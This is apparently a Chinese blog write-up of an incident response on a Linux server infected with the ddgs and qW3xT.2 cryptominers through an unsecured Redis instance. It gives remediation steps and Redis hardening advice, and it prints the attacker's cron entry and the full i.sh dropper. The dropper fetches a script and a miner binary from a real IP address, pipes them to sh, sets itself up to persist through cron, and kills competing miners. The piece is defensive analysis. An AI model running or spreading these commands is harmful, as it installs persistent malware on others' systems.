linux服務器被植入ddgs、qW3xT.2挖礦病毒的處理實戰(zhàn)記錄
前言
隨著虛擬貨幣的瘋狂炒作，挖礦病毒已經成為不法分子利用最為頻繁的攻擊方式之一。病毒傳播者可以利用個人電腦或服務器進行挖礦，具體現(xiàn)象為電腦CPU占用率高，C盤可使用空間驟降，電腦溫度升高，風扇噪聲增大等問題。
本文主要介紹的是關于linux植入ddgs、qW3xT.2挖礦病毒的處理方法，下面話不多說了，來一起看看詳細的介紹吧
被入侵后的現(xiàn)象:
發(fā)現(xiàn)有qW3xT.2與ddgs兩個異常進程，消耗了較高的cpu，kill掉后 過一會就會重新出現(xiàn)。
kill 掉這兩個異常進程后，過一段時間看到了如下進程：
首先在/etc/sysconfig/crotnab中的定時任務沒有找到定時腳本，輸入crontab -e 在其中找到了該定時任務
*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
<span style="font-size: 15px;">查詢了下149.56.106.215在美國,i.sh 腳本內容如下：</span>
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
處理方法：
1.刪除 crontab -e 中
*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
2.清除/root/.ssh/authorized_keys 中黑客設置的免密登錄內容
3.修改redis密碼
4.修改root與登錄賬戶密碼
安全建議：
1.配置bind選項，限定可以連接Redis服務器的IP，修改 Redis 的默認端口6379 配置認證，也就是AUTH，設置密碼，密碼會以明文方式保存在Redis配置文件中
2.配置rename-command 配置項 “RENAME_CONFIG”，這樣即使存在未授權訪問，也能夠給攻擊者使用config 指令加大難度
3.如果可以在防火墻中屏蔽redis外網(wǎng)
入侵方式：
收集了相關資料，了解到其是利用redis漏洞，未設置密碼或密碼太簡單，導致的被入侵。具體方式可以參考
http://www.fzitv.net/article/147375.htm
reids修改密碼方法如下：
redis-cli -h 127.0.0.1 -p 6379 config get requirepass ##獲取當前密碼 config set requirepass "yourpassword" ##設置當前密碼,服務重新啟動后又會置為默認，即無密碼；
永久生效方法為，打開redis配置文件redis.conf，找到requirepass值修改密碼，如下：
requirepass yourpassword ##此處注意，行前不能有空格
總結
以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作具有一定的參考學習價值，如果有疑問大家可以留言交流，謝謝大家對腳本之家的支持。
相關文章
這篇文章主要介紹了centos8 yum 安裝 rabbitmq的教程，本文給大家介紹的非常詳細，具有一定的參考借鑒價值,需要的朋友可以參考下2019-11-11
在本篇文章里小編給大家整理的關于Linux修改主機名命令的知識點詳解，有興趣的朋友可以參考學習下。2020-02-02
在Linux系統(tǒng)下如何編譯并執(zhí)行C++程序
這篇文章主要介紹了在Linux系統(tǒng)下如何編譯并執(zhí)行C++程序問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2024-01-01
如何使用Apache Kafka 構建實時數(shù)據(jù)處理應用
?Apache Kafka 在實時數(shù)據(jù)處理中的重要性源于其高性能、可靠性、可擴展性和靈活性,這篇文章主要介紹了使用Apache Kafka 構建實時數(shù)據(jù)處理應用,需要的朋友可以參考下2024-07-07
Linux下用dnsmasq做dns cache server的配置方法
最近國外的服務器本地DNS總是出故障，閃斷一會兒都會影響業(yè)務。于是在機房里找了兩臺Server，安裝上keepalived和dnsmasq實際本地的DNS緩存2014-08-08
使用多線程的理由之一是和進程相比，它是一種非?！肮?jié)儉”的多任務操作方式。我們知道，在Linux系統(tǒng)下，啟動一個新的進程必須分配給它獨立的地址空間，建立眾多的數(shù)據(jù)表來維護它的代碼段、堆棧段和數(shù)據(jù)段，這是一種“昂貴”的多任務工作方式。2014-08-08
window與linux項目部署之linux文件路徑不存在問題
小編在一次項目測試中，發(fā)現(xiàn)一些bug，window與linux項目部署-linux文件路徑不存在問題，本文給出了解決方案,需要的朋友可以參考下2019-11-11
這篇文章主要介紹了Linux下查看Nginx是否啟動問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2024-01-01
解決Centos7下crontab+shell腳本定期自動刪除文件問題
小編最近遇到這樣的需求，就是rsync每次同步的數(shù)據(jù)量很多，但是需要保留的數(shù)據(jù)庫bak文件，保留7天就夠了，所以需要自動清理文件夾內的bak文件。這篇文章主要介紹了解決Centos7下crontab+shell腳本定期自動刪除文件問題,需要的朋友可以參考下2018-11-11
Linux基礎：如何找出你的系統(tǒng)所支持的最大內存
這篇文章主要介紹了Linux基礎：如何找出你的系統(tǒng)所支持的最大內存,需要的朋友可以參考下2015-04-04